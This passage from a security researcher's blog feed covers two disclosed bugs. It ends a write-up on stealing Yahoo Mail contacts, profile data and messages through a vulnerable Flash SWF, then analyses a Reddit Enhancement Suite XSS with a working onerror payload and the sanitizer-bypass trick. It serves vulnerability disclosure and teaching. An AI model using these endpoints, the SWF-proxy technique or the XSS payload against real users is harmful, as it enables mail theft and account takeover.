</span><span class='line'>                            <span class="o">}</span> <span class="k">else</span> <span class="o">{</span>
</span><span class='line'>                                <span class="n">checkFinished</span><span class="o">();</span>
</span><span class='line'>                            <span class="o">}</span>
</span><span class='line'>                        <span class="o">}</span>
</span><span class='line'>                    <span class="o">},</span> <span class="mi">10</span><span class="o">);</span>
</span><span class='line'>                <span class="o">}</span>
</span><span class='line'>                <span class="n">checkFinished</span><span class="o">();</span>
</span><span class='line'>            <span class="o">},</span> <span class="mi">100</span><span class="o">);</span>
</span><span class='line'>        <span class="o">};</span>
</span><span class='line'>
</span><span class='line'>        <span class="c1">// Load up the vulnerable proxy SWF</span>
</span><span class='line'>        <span class="kd">var</span> <span class="n">MCLoader</span><span class="p">:</span><span class="kt">Loader</span> <span class="o">=</span> <span class="k">new</span> <span class="kt">Loader</span><span class="o">();</span>
</span><span class='line'>        <span class="n">MCLoader</span><span class="o">.</span><span class="na">load</span><span class="o">(</span><span class="k">new</span> <span class="kt">URLRequest</span><span class="o">(</span><span class="n">PROXY_URL</span><span class="o">));</span>
</span><span class='line'>        <span class="n">MCLoader</span><span class="o">.</span><span class="na">contentLoaderInfo</span><span class="o">.</span><span class="na">addEventListener</span><span class="o">(</span><span class="n">Event</span><span class="o">.</span><span class="na">COMPLETE</span><span class="o">,</span> <span class="n">ldrComplete</span><span class="o">);</span>
</span><span class='line'>    <span class="o">}</span>
</span><span class='line'><span class="o">}</span>
</span><span class='line'><span class="o">}</span>
</span></code></pre></td></tr></table></div></figure>




<p>Now here&rsquo;s the tricky part. We need to find interesting, leakable endpoints. We can&rsquo;t leak them if they return invalid XML (ruling out most webpages and JSON containing HTML fragments,) we can&rsquo;t leak them if they return a non-200 status code, and we can&rsquo;t leak them if they require an auth token we can&rsquo;t guess.</p>




<p><a href="https://ca-mg6.mail.yahoo.com/neo/ws/sd?/v1/user/me/contacts;count=max;sort=asc?format=json&amp;view=compact&amp;_sc=1">Some</a> alternative <a href="https://ca-mg6.mail.yahoo.com/neo/ws/sd?/v1/user/me/profile;count=max;sort=asc?format=json&amp;_sc=1">endpoints</a> for the <a href="https://developer.yahoo.com/social/">Social API</a> fit the bill nicely. They let us fetch the current user&rsquo;s contacts and profile without requiring an auth token or user ID. You can see those leaking to a page we control here:</p>




<p><a href="http://blog.saynotolinux.com/images/posts/ymail_again/justsocialstuff.png"><img class="center" src="http://blog.saynotolinux.com/images/posts/ymail_again/thumbs/justsocialstuff.png" width="640" height="480"></a></p>




<h2>But What About Mail?</h2>




<p>One that stumped me for a long time was getting the user&rsquo;s mail. All of the endpoints for mail listings required a valid WSSID (web services session id?) Unfortunately, all the endpoints I could find that would give me one had non-200 response codes or wouldn&rsquo;t parse as XML. I eventually found what I was looking for by running YMail&rsquo;s android app through mitmproxy. <a href="https://m.mg.mail.yahoo.com/hg/controller/controller.php">Here you can see the WSSID we wanted</a>, returned with a 200 response code. Even though this endpoint&rsquo;s normally requested with a <code>POST</code> method, a <code>GET</code> with no params still gives us the WSSID&hellip; Sweet!</p>




<p><a href="http://blog.saynotolinux.com/images/posts/ymail_again/ymail-mitm.png"><img class="center" src="http://blog.saynotolinux.com/images/posts/ymail_again/thumbs/ymail-mitm.jpg" width="640" height="480"></a></p>




<p>Let&rsquo;s leak the user&rsquo;s mail now. We&rsquo;ve got <a href="https://ca-mg6.mail.yahoo.com/mailsearch/v2/search?appid=YahooMailNeo&amp;wssid=PUT_WSSID_HERE&amp;sorting=-date&amp;query=%7B%22keyword%22%3A%22http%22%2C%22group%22%3A%7B%22from%22%3A%7B%7D%2C%22folder%22%3A%7B%7D%2C%22flags%22%3A%7B%22order%22%3A%22desc%22%7D%2C%22attachmenttype%22%3A%7B%7D%2C%22date%22%3A%7B%22unit%22%3A%22year%22%7D%7D%2C%22flags%22%3A%7B%22softdelete%22%3A0%7D%7D">a mail search endpoint here</a> that will return mail fragments without embedded HTML. You can see you&rsquo;ll still sometimes get angle brackets in the response due to inline replies, but you can muck with the query to get around those.</p>




<p><a href="http://blog.saynotolinux.com/images/posts/ymail_again/search-endpoint.png"><img class="center" src="http://blog.saynotolinux.com/images/posts/ymail_again/thumbs/search-endpoint.png" width="640" height="480"></a></p>




<p>Now, that WSSID functions as a CSRF token as well, so we can now do anything we want as the current user. We can send mail as them, delete all their emails, basically anything a normal user can do.</p>




<p>Here&rsquo;s a small page demonstrating a bunch of things we can do as long as the user is on a page we control. As you can see, We&rsquo;ve got the full list of contacts, all of the user&rsquo;s personal details including their email address and name, and a listing of their emails.</p>




<p><a href="http://blog.saynotolinux.com/images/posts/ymail_again/show-all.png"><img class="center" src="http://blog.saynotolinux.com/images/posts/ymail_again/thumbs/show-all.png" width="640" height="480"></a></p>




<p>We&rsquo;ve got enough for a fully-weaponized exploit at this point. We can not only leak their emails, we can also achieve lateral movement by triggering password resets on other services they use, and pulling the reset URLs right out of their email, then deleting them. Of course, previously emailed username/password combos are fair game, too. Very handy for the APT folks ;)</p>




<h2>The Fix</h2>




<p><code>hotspotgallery.swf</code>&rsquo;s allowDomain call has since been changed to <code>Security.allowDomain("sp.yimg.com")</code>, but that doesn&rsquo;t fix the core issue. There are thousands and thousands of forgotten .swfs on disused subdomains, many of which are probably vulnerable to similar exploits. As long as those <code>crossdomain.xml</code> rules are as loose as they are, it&rsquo;s only a matter of time before someone finds one and exploits YMail&hellip; again.</p>




<p>.swfs that actually need crossorigin access to YMail should be moved to the existing <code>mail.yimg.com</code> subdomain, and the <code>crossdomain.xml</code> should be tightened up to keep YMail safe from rogue galleries of Asian imports and pet shows.</p>




<h2>About Yahoo!&rsquo;s Initial Response</h2>




<p>The other thing I want to mention is the initial response I got. I initially submitted an overview of the issue and attached a proof-of-concept that put the JSON from the contacts endpoint in a textbox. Very rudimentary, but sufficient to show crossorigin data leakage. All I got in response was a form reply basically saying &ldquo;This is intended behaviour, wontfix&rdquo;. I replied asking why they thought that, and if they had any issues reproducing the issue, but didn&rsquo;t receive a reply.</p>




<p>I know that reproing Flash issues can be a pain in the ass, and I realized the PoC would break if served from localhost, so I hosted a version with no setup required that more clearly showed what was leaked. I posted a link to the new PoC, reiterating what was being leaked. Still no response. It wasn&rsquo;t until I posted the version that leaked mail contents 8 months later that I got an unscripted reply.</p>




<p>I get that Yahoo! probably receives tons of spurious reports every day, but without something actionable like &ldquo;I don&rsquo;t think X is a bug because Y&rdquo; or &ldquo;I&rsquo;m unable to reproduce the issue, Z happens instead&rdquo;, reporters don&rsquo;t have anything to go on if they&rsquo;re reporting a genuine issue. Without any feedback on what the issue is with the report, their only way to potentially get the bug fixed is through public disclosure (which an operator of a bug bounty probably doesn&rsquo;t want.) I also know this isn&rsquo;t an isolated case, since I recently saw a presentation where an RCE on Yahoo!&rsquo;s reverse proxies got the same treatment.</p>




<p>To Yahoo&rsquo;s credit, the fellow who responded to my updated proof-of-concept was decently communicative, but every response I&rsquo;d ever received from Yahoo up &lsquo;til that point had been a scripted response of &ldquo;fixed&rdquo;, &ldquo;wontfix&rdquo;, &ldquo;confirmed&rdquo;, or &ldquo;new&rdquo;. When I work with a company (either as a consultant or just through one-off reports,) nothing impresses me more than engineers responding with additional details relevant to my reports, and nothing turns me off more than the company being difficult to communicate with, money or no.</p>




<h2>Tips For Yahoo! Bug Bounty Participants</h2>




<ul>
<li>Until the <code>crossdomain.xml</code>s are fixed, .swfs and endpoints where the whole response body is controlled are extra-juicy targets</li>
<li>.swfs normally served from random subdomains of <code>yimg.com</code> may also be available on <code>l.yimg.com</code>, or even subdomains of <code>yahoo.com</code></li>
<li>There are plenty of versioned .swfs (think branded video players and such) where the old versions are still live on <code>yimg.com</code>. I never bothered auditing them because they&rsquo;re a pain to trace through, but the WayBack machine is your friend when it comes to finding these orphaned .swfs</li>
<li>As usual, endpoints for mobile apps represent some extra attack surface to play with, and a lot of them use regular cookie auth. Set up mitmproxy or burp and go nuts.</li>
</ul>




<h2>Disclosure Timeline</h2>




<ul>
<li>2014-02-09: Reported issue to vendor with PoC showing contacts leakage</li>
<li>2014-02-14: Vendor closed issue as expected behaviour</li>
<li>2014-02-14: Requested clarification from vendor</li>
<li>2014-03-01: Sent vendor a link to updated PoC with no setup required</li>
<li>2014-10-30: Requested public disclosure through HackerOne</li>
<li>2014-11-04: Sent vendor a link to updated PoC showing mail leaking</li>
<li>2014-11-07: Vendor confirmed, reopened issue</li>
<li>2014-11-11: <a href="https://www.youtube.com/watch?v=3Z3hF0bRsJc&amp;feature=youtu.be">Engaging multimedia experience</a> detailing issue sent to vendor, per request</li>
<li>2014-12-03: Vendor reported issue as fixed, awarded bounty of $2500</li>
<li>2014-12-03: Confirmed hotspotgallery.swf was no longer vulnerable</li>
</ul>




<h2>Related Links</h2>




<ul>
<li><a href="https://hackerone.com/reports/1171">HackerOne report (private at time of posting)</a></li>
<li><a href="http://saynotolinux.com/tests/yahoo/mail_theft_2014_11_2/">Comprehensive PoC</a></li>
<li><a href="https://gist.github.com/JordanMilne/e14cf1dcd4bfbd85275e">Comprehensive PoC source</a></li>
<li><a href="https://gist.github.com/JordanMilne/145722dd2ca31bc96f86">Decompiled hotspotgallery.swf</a></li>
</ul>

]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Spooky Sanitization Stories: Analyzing the XSS Flaw in Reddit Enhancement Suite]]></title>
    <link href="http://blog.saynotolinux.com/blog/2014/04/12/spooky-sanitizer-stories-analyzing-the-reddit-enhancement-suite-xss-flaw/"/>
    <updated>2014-04-12T01:04:22-07:00</updated>
    <id>http://blog.saynotolinux.com/blog/2014/04/12/spooky-sanitizer-stories-analyzing-the-reddit-enhancement-suite-xss-flaw</id>
    <content type="html"><![CDATA[<h2>TL;DR</h2>

<p>The library that <a href="http://redditenhancementsuite.com/">Reddit Enhancement Suite</a> (a browser extension for reddit users) used for HTML sanitization had a bug that bit them pretty hard, enabling DOM-based XSS of 1.5~ million reddit users. RES pushed out a fixed version, and reddit deployed a script to prevent users of the old version from accidentally getting exploited; thus preventing an XSS worm.</p>

<h2>Introduction</h2>

<p>If you&rsquo;re a user of Reddit Enhancement Suite, chances are you recently saw this big scary alert() box when you tried to click an expando button:</p>

<p><a href="http://blog.saynotolinux.com/images/posts/res-xss/alert.png"><img class="center" src="http://blog.saynotolinux.com/images/posts/res-xss/alert.png"></a></p>

<p>For those who aren&rsquo;t familiar with RES, an expando is an inline preview of offsite content, or content that would normally require a clickthrough, that can be viewed by pressing an &ldquo;expando&rdquo; button:</p>

<p><a href="http://blog.saynotolinux.com/images/posts/res-xss/expandos.jpg"><img class="center" src="http://blog.saynotolinux.com/images/posts/res-xss/expandos.jpg"></a></p>

<p>A few people have asked questions like &ldquo;why am I getting that alert?&rdquo;, &ldquo;what exactly is this bug?&rdquo;, &ldquo;why can&rsquo;t I just use the vulnerable version anyways?&rdquo;. Rather than respond to each question separately, I decided to write something that would hopefully answer everyone&rsquo;s questions at once.</p>

<!--more-->


<h2>Unusual Beginnings</h2>

<p>Interestingly, the most important part of the RES exploit wasn&rsquo;t found by looking at RES at all. I actually found it by poking around reddit&rsquo;s markdown library, <a href="https://github.com/reddit/snudown">Snudown</a>. Snudown is mostly written in C, and is a fork of the <a href="https://github.com/vmg/sundown">Sundown</a> markdown library. Snudown departs from Sundown in a number of ways, the most important to us being that it adds the ability to include a <a href="https://github.com/reddit/snudown/blob/master/snudown.c#L36">restricted subset of HTML</a> alongside your markdown. On reddit, markdown with inline HTML may only be used on the wiki, as it&rsquo;s intended to allow using HTML tables instead of Sundown&rsquo;s <a href="http://michelf.ca/projects/php-markdown/extra/#table">unwieldly markdown tables</a>.</p>

<h2>Taking Apart the Sanitizer</h2>

<p>So let&rsquo;s go into a simplified view of <a href="https://github.com/reddit/snudown/blob/30fee253240199f46f4f30aa3284dd1e92136ef2/html/html.c#L391">how Snudown did attribute whitelisting</a>. Snudown scanned everything after the tag name, and before a <code>&gt;</code> for valid <code>attr=value</code> pairs, reading everything into the <code>attr</code> buffer as it went. Once Snudown realized it was not dealing with a valid valid/value pair, it would clear the attr buffer and start looking for the next valid pair. Once it decided it had hit the end of the value (by encountering a space outside the quotes, or a <code>&gt;</code> anywhere), it would output everything in the <code>attr</code> buffer, clear it, then continue parsing attributes. Some interesting consequences of the process, <code>&lt;table scope==   scope=bar&gt;</code> was sanitized to <code>&lt;table scope=bar&gt;</code>,  and <code>&lt;table bad=scope="bar"&gt;</code> was sanitized to <code>&lt;table scope="bar"&gt;</code>.</p>

<p>Those outputs aren&rsquo;t consistent with most HTML parsers, but the biggest issue was how it handled quotes: Snudown saw <code>&lt;table scope=a' bar=baz'&gt;</code> as a <code>table</code> with a single <code>scope</code> attribute, but every mainstream browser sees this as a <code>table</code> with both <code>scope</code> and <code>bar</code> attributes. Quotes are only treated as attribute delimiters when they occur at the <em>beginning</em> of the value, otherwise whitespace is the delimiter. Since Snudown was outputting every validated attr/value pair verbatim, we could abuse this behaviour to sneak attributes like <code>onmouseover</code> by the whitelist!</p>

<h2>So wait, this was an XSS on reddit&rsquo;s wikis?</h2>

<p>No. See, even though Snudown performs its own sanitization on inline HTML, Snudown&rsquo;s output generally isn&rsquo;t trusted within reddit&rsquo;s codebase. All of the HTML that comes out of Snudown gets put through a <a href="https://github.com/reddit/reddit/blob/5cbea9cdf401f1602394c16b2a8384205962032d/r2/r2/lib/filters.py#L201">SAX / BeautifulSoup-based sanitizer</a> that validates the HTML and reserializes it in a way that&rsquo;s unambiguous across browsers. For example, the ambiguous:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>&lt;table scope=`bar cellspacing='` baz=heyIE ignore=a'></span></code></pre></td></tr></table></div></figure>


<p>passes both validation steps, but becomes the unambiguous:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>&lt;table scope="`bar" cellspacing="` baz=heyIE ignore=a'"></span></code></pre></td></tr></table></div></figure>


<p>when reserialized by reddit&rsquo;s SAX sanitizer.</p>

<p>To reiterate, though reddit used Snudown&rsquo;s wiki rendering mode, <em>reddit was never vulnerable to XSS</em> due to additional precautions taken with its output.</p>

<h2>But what does any of this have to do with RES&#8217; image expandos?</h2>

<p>I knew that reddit itself wasn&rsquo;t vulnerable, so before I did anything, I wanted to check if anyone else was using Snudown&rsquo;s wiki rendering mode in production, outside of users of the reddit codebase. One thing that kept popping up was <a href="https://github.com/gamefreak/snuownd">SnuOwnd</a>, a faithful port of Snudown (with all its quirks) to JS. As some of you may have noticed from the RES changelogs, the Reddit Enhancement Suite also includes SnuOwnd. RES actually uses SnuOwnd for a number of things, and that used to include <a href="https://github.com/honestbleeps/Reddit-Enhancement-Suite/blob/e13760edbdb7837b47638c38010cf0e8ba40fb2d/lib/utils.js#L501">HTML sanitization</a>:</p>

<figure class='code'><figcaption><span></span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
<span class='line-number'>18</span>
<span class='line-number'>19</span>
<span class='line-number'>20</span>
<span class='line-number'>21</span>
<span class='line-number'>22</span>
<span class='line-number'>23</span>
<span class='line-number'>24</span>
<span class='line-number'>25</span>
<span class='line-number'>26</span>
<span class='line-number'>27</span>
<span class='line-number'>28</span>
<span class='line-number'>29</span>
<span class='line-number'>30</span>
<span class='line-number'>31</span>
<span class='line-number'>32</span>
<span class='line-number'>33</span>
<span class='line-number'>34</span>
<span class='line-number'>35</span>
<span class='line-number'>36</span>
<span class='line-number'>37</span>
<span class='line-number'>38</span>
<span class='line-number'>39</span>
</pre></td><td class='code'><pre><code class='javascript'><span class='line'><span class="nx">RESUtils</span><span class="p">.</span><span class="nx">sanitizeHTML</span> <span class="o">=</span> <span class="kd">function</span><span class="p">(</span><span class="nx">htmlStr</span><span class="p">)</span> <span class="p">{</span>
</span><span class='line'>    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="k">this</span><span class="p">.</span><span class="nx">sanitizer</span><span class="p">)</span> <span class="p">{</span>
</span><span class='line'>        <span class="kd">var</span> <span class="nx">SnuOwnd</span> <span class="o">=</span> <span class="nb">window</span><span class="p">.</span><span class="nx">SnuOwnd</span><span class="p">;</span>
</span><span class='line'>        <span class="kd">var</span> <span class="nx">redditCallbacks</span> <span class="o">=</span> <span class="nx">SnuOwnd</span><span class="p">.</span><span class="nx">getRedditCallbacks</span><span class="p">();</span>
</span><span class='line'>        <span class="kd">var</span> <span class="nx">callbacks</span> <span class="o">=</span> <span class="nx">SnuOwnd</span><span class="p">.</span><span class="nx">createCustomCallbacks</span><span class="p">({</span>
</span><span class='line'>            <span class="nx">paragraph</span><span class="o">:</span> <span class="kd">function</span><span class="p">(</span><span class="nx">out</span><span class="p">,</span> <span class="nx">text</span><span class="p">,</span> <span class="nx">options</span><span class="p">)</span> <span class="p">{</span>
</span><span class='line'>                <span class="k">if</span> <span class="p">(</span><span class="nx">text</span><span class="p">)</span> <span class="nx">out</span><span class="p">.</span><span class="nx">s</span> <span class="o">+=</span> <span class="nx">text</span><span class="p">.</span><span class="nx">s</span><span class="p">;</span>
</span><span class='line'>            <span class="p">},</span>
</span><span class='line'>            <span class="nx">autolink</span><span class="o">:</span> <span class="nx">redditCallbacks</span><span class="p">.</span><span class="nx">autolink</span><span class="p">,</span>
</span><span class='line'>            <span class="nx">raw_html_tag</span><span class="o">:</span> <span class="nx">redditCallbacks</span><span class="p">.</span><span class="nx">raw_html_tag</span>
</span><span class='line'>        <span class="p">});</span>
</span><span class='line'>        <span class="kd">var</span> <span class="nx">rendererConfig</span> <span class="o">=</span> <span class="nx">SnuOwnd</span><span class="p">.</span><span class="nx">defaultRenderState</span><span class="p">();</span>
</span><span class='line'>        <span class="nx">rendererConfig</span><span class="p">.</span><span class="nx">flags</span> <span class="o">=</span> <span class="nx">SnuOwnd</span><span class="p">.</span><span class="nx">DEFAULT_WIKI_FLAGS</span><span class="p">;</span>
</span><span class='line'>        <span class="nx">rendererConfig</span><span class="p">.</span><span class="nx">html_element_whitelist</span> <span class="o">=</span> <span class="p">[</span>
</span><span class='line'>            <span class="s1">&#39;h1&#39;</span><span class="p">,</span> <span class="s1">&#39;h2&#39;</span><span class="p">,</span> <span class="s1">&#39;h3&#39;</span><span class="p">,</span> <span class="s1">&#39;h4&#39;</span><span class="p">,</span> <span class="s1">&#39;h5&#39;</span><span class="p">,</span> <span class="s1">&#39;h6&#39;</span><span class="p">,</span> <span class="s1">&#39;span&#39;</span><span class="p">,</span> <span class="s1">&#39;div&#39;</span><span class="p">,</span> <span class="s1">&#39;code&#39;</span><span class="p">,</span>
</span><span class='line'>            <span class="s1">&#39;br&#39;</span><span class="p">,</span> <span class="s1">&#39;hr&#39;</span><span class="p">,</span> <span class="s1">&#39;p&#39;</span><span class="p">,</span> <span class="s1">&#39;a&#39;</span><span class="p">,</span> <span class="s1">&#39;img&#39;</span><span class="p">,</span> <span class="s1">&#39;pre&#39;</span><span class="p">,</span> <span class="s1">&#39;blockquote&#39;</span><span class="p">,</span> <span class="s1">&#39;table&#39;</span><span class="p">,</span>
</span><span class='line'>            <span class="s1">&#39;thead&#39;</span><span class="p">,</span> <span class="s1">&#39;tbody&#39;</span><span class="p">,</span> <span class="s1">&#39;tfoot&#39;</span><span class="p">,</span> <span class="s1">&#39;tr&#39;</span><span class="p">,</span> <span class="s1">&#39;th&#39;</span><span class="p">,</span> <span class="s1">&#39;td&#39;</span><span class="p">,</span> <span class="s1">&#39;strong&#39;</span><span class="p">,</span> <span class="s1">&#39;em&#39;</span><span class="p">,</span>
</span><span class='line'>            <span class="s1">&#39;i&#39;</span><span class="p">,</span> <span class="s1">&#39;b&#39;</span><span class="p">,</span> <span class="s1">&#39;u&#39;</span><span class="p">,</span> <span class="s1">&#39;ul&#39;</span><span class="p">,</span> <span class="s1">&#39;ol&#39;</span><span class="p">,</span> <span class="s1">&#39;li&#39;</span><span class="p">,</span> <span class="s1">&#39;dl&#39;</span><span class="p">,</span> <span class="s1">&#39;dt&#39;</span><span class="p">,</span> <span class="s1">&#39;dd&#39;</span><span class="p">,</span>
</span><span class='line'>            <span class="s1">&#39;font&#39;</span><span class="p">,</span> <span class="s1">&#39;center&#39;</span><span class="p">,</span> <span class="s1">&#39;small&#39;</span><span class="p">,</span> <span class="s1">&#39;s&#39;</span><span class="p">,</span> <span class="s1">&#39;q&#39;</span><span class="p">,</span> <span class="s1">&#39;sub&#39;</span><span class="p">,</span> <span class="s1">&#39;sup&#39;</span><span class="p">,</span> <span class="s1">&#39;del&#39;</span>
</span><span class='line'>        <span class="p">];</span>
</span><span class='line'>        <span class="nx">rendererConfig</span><span class="p">.</span><span class="nx">html_attr_whitelist</span> <span class="o">=</span> <span class="p">[</span>
</span><span class='line'>            <span class="s1">&#39;href&#39;</span><span class="p">,</span> <span class="s1">&#39;title&#39;</span><span class="p">,</span> <span class="s1">&#39;src&#39;</span><span class="p">,</span> <span class="s1">&#39;alt&#39;</span><span class="p">,</span> <span class="s1">&#39;colspan&#39;</span><span class="p">,</span>
</span><span class='line'>            <span class="s1">&#39;rowspan&#39;</span><span class="p">,</span> <span class="s1">&#39;cellspacing&#39;</span><span class="p">,</span> <span class="s1">&#39;cellpadding&#39;</span><span class="p">,</span> <span class="s1">&#39;scope&#39;</span><span class="p">,</span>
</span><span class='line'>            <span class="s1">&#39;face&#39;</span><span class="p">,</span> <span class="s1">&#39;color&#39;</span><span class="p">,</span> <span class="s1">&#39;size&#39;</span><span class="p">,</span> <span class="s1">&#39;bgcolor&#39;</span><span class="p">,</span> <span class="s1">&#39;align&#39;</span>
</span><span class='line'>        <span class="p">];</span>
</span><span class='line'>        <span class="k">this</span><span class="p">.</span><span class="nx">sanitizer</span> <span class="o">=</span> <span class="nx">SnuOwnd</span><span class="p">.</span><span class="nx">getParser</span><span class="p">({</span>
</span><span class='line'>            <span class="nx">callbacks</span><span class="o">:</span> <span class="nx">callbacks</span><span class="p">,</span>
</span><span class='line'>            <span class="nx">context</span><span class="o">:</span> <span class="nx">rendererConfig</span>
</span><span class='line'>        <span class="p">});</span>
</span><span class='line'>    <span class="p">}</span>
</span><span class='line'>    <span class="k">return</span> <span class="k">this</span><span class="p">.</span><span class="nx">sanitizer</span><span class="p">.</span><span class="nx">render</span><span class="p">(</span><span class="nx">htmlStr</span><span class="p">);</span>
</span><span class='line'><span class="p">};</span>
</span><span class='line'>
</span><span class='line'><span class="c1">//...snip</span>
</span><span class='line'>
</span><span class='line'><span class="nx">$</span><span class="p">.</span><span class="nx">fn</span><span class="p">.</span><span class="nx">safeHtml</span> <span class="o">=</span> <span class="kd">function</span><span class="p">(</span><span class="nx">string</span><span class="p">)</span> <span class="p">{</span>
</span><span class='line'>    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nx">string</span><span class="p">)</span> <span class="k">return</span> <span class="s1">&#39;&#39;</span><span class="p">;</span>
</span><span class='line'>    <span class="k">else</span> <span class="k">return</span> <span class="nx">$</span><span class="p">(</span><span class="k">this</span><span class="p">).</span><span class="nx">html</span><span class="p">(</span><span class="nx">RESUtils</span><span class="p">.</span><span class="nx">sanitizeHTML</span><span class="p">(</span><span class="nx">string</span><span class="p">));</span>
</span><span class='line'><span class="p">}</span>
</span></code></pre></td></tr></table></div></figure>


<p>Eep.</p>

<p>Even if we can&rsquo;t get an XSS on reddit.com proper, RES is still a pretty juicy target. With <a href="https://chrome.google.com/webstore/detail/reddit-enhancement-suite/kbmfpngjjgdllneeigpgjifpgocmfgmb">an install base of 1.5~ million users</a> — which includes a good chunk of reddit&rsquo;s moderators — an XSS in RES could do a lot of damage.</p>

<h2>Finding the Attack Vector</h2>

<p>Now all that&rsquo;s left is to find where safeHTML or sanitizeHTML are passed untrusted data, and we&rsquo;ve got ourselves an XSS via extension. If it wasn&rsquo;t apparent from the alert dialog, that injection point is in RES&#8217; expandos:</p>

<figure class='code'><figcaption><span></span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
</pre></td><td class='code'><pre><code class='javascript'><span class='line'><span class="nx">generateTextExpando</span><span class="o">:</span> <span class="kd">function</span><span class="p">(</span><span class="nx">expandoButton</span><span class="p">)</span> <span class="p">{</span>
</span><span class='line'>    <span class="kd">var</span> <span class="nx">imageLink</span> <span class="o">=</span> <span class="nx">expandoButton</span><span class="p">.</span><span class="nx">imageLink</span><span class="p">;</span>
</span><span class='line'>    <span class="kd">var</span> <span class="nx">wrapperDiv</span> <span class="o">=</span> <span class="nb">document</span><span class="p">.</span><span class="nx">createElement</span><span class="p">(</span><span class="s1">&#39;div&#39;</span><span class="p">);</span>
</span><span class='line'>    <span class="nx">wrapperDiv</span><span class="p">.</span><span class="nx">className</span> <span class="o">=</span> <span class="s1">&#39;usertext&#39;</span><span class="p">;</span>
</span><span class='line'>
</span><span class='line'>    <span class="kd">var</span> <span class="nx">imgDiv</span> <span class="o">=</span> <span class="nb">document</span><span class="p">.</span><span class="nx">createElement</span><span class="p">(</span><span class="s1">&#39;div&#39;</span><span class="p">);</span>
</span><span class='line'>    <span class="nx">imgDiv</span><span class="p">.</span><span class="nx">className</span> <span class="o">=</span> <span class="s1">&#39;madeVisible usertext-body&#39;</span><span class="p">;</span>
</span><span class='line'>
</span><span class='line'>    <span class="kd">var</span> <span class="nx">header</span> <span class="o">=</span> <span class="nb">document</span><span class="p">.</span><span class="nx">createElement</span><span class="p">(</span><span class="s1">&#39;h3&#39;</span><span class="p">);</span>
</span><span class='line'>    <span class="nx">header</span><span class="p">.</span><span class="nx">className</span> <span class="o">=</span> <span class="s1">&#39;imgTitle&#39;</span><span class="p">;</span>
</span><span class='line'>    <span class="nx">$</span><span class="p">(</span><span class="nx">header</span><span class="p">).</span><span class="nx">safeHtml</span><span class="p">(</span><span class="nx">imageLink</span><span class="p">.</span><span class="nx">imageTitle</span><span class="p">);</span>
</span><span class='line'>    <span class="nx">imgDiv</span><span class="p">.</span><span class="nx">appendChild</span><span class="p">(</span><span class="nx">header</span><span class="p">);</span>
</span><span class='line'>
</span><span class='line'>    <span class="c1">//...snip</span>
</span><span class='line'>    <span class="nx">expandoButton</span><span class="p">.</span><span class="nx">expandoBox</span> <span class="o">=</span> <span class="nx">imgDiv</span><span class="p">;</span>
</span><span class='line'>    <span class="c1">//...snip</span>
</span><span class='line'><span class="p">}</span>
</span></code></pre></td></tr></table></div></figure>


<p><code>imageLink.imageTitle</code> is <a href="https://github.com/honestbleeps/Reddit-Enhancement-Suite/blob/493e3f23b80f0a013d60b70ee9470996cc2d7d9c/lib/modules/showImages.js#L2415">completely controlled by the attacker</a>, and provided we can get one of RES&#8217; supported sites to serve our Snudown-evading payload, RES will inject it into the DOM.</p>

<p>RES supports expanding text posts from Tumblr inline, and Tumblr allows us to use valid HTML in post titles, so if we <a href="http://tumblbustinator.tumblr.com/post/81275599702/foobar">made a post</a> with the title <code>Foobar &lt;img src=foo' onerror="alert(1)" ' /&gt;</code>, <code>alert(1)</code> would be called when they expanded our link:</p>

<p><a href="http://blog.saynotolinux.com/images/posts/res-xss/xssd.png"><img class="center" src="http://blog.saynotolinux.com/images/posts/res-xss/xssd.png"></a></p>

<h2>Worst-case Scenario</h2>

<p>This was about as bad as it gets without having a zero-interaction XSS. Comment pages have a &ldquo;Show Images&rdquo; button that expands all images on the page, and those get used a <em>lot</em> for picture threads. Had someone posted a child comment to one of the top comments with a link to the payload, they could have easily started an XSS worm that spammed links to the payload in other threads. Once it spread, the worm could have done things like upvote specific submissions, nuke a subreddit if a moderator got exploited, etc.</p>

<h2>The Fix</h2>

<p>This bug required fixes in a number of places to keep it fully closed. First, <a href="https://github.com/reddit/snudown/commit/62bfa4ad673c4f19683ed91c5ebb093bbe9f581d">Snudown&rsquo;s HTML sanitization was changed</a> to first parse the attributes, then unambiguously reserialize its interpretation. That fix was then <a href="https://github.com/honestbleeps/Reddit-Enhancement-Suite/commit/de3f84cac524c473e08d72517dc1d75f26906507">ported to SnuOwnd&rsquo;s JS implementation</a>.</p>

<p>Secondly, RES was changed to use a <a href="https://github.com/honestbleeps/Reddit-Enhancement-Suite/commit/a4fb73b6d90bed5701e3a3672b6ee4a9da78d60a">custom HTML sanitizer</a> based on DOMParser since things like <code>href</code> sanitization were out of scope for Snudown. I&rsquo;m not super happy with this filter, and I think <a href="http://code.google.com/p/google-caja/wiki/JsHtmlSanitizer">Google Caja</a> should be used in the future, but this one had to go in due to time constraints.</p>

<p>Third, since the issue was so trivial to exploit, and had such high impact, it was necessary to block users still on vulnerable versions of RES from opening expandos to prevent an XSS worm from spreading. reddit ended up doing this on their end by detecting attempts to open the expandos and blocking it based on a version number RES places in the DOM:</p>

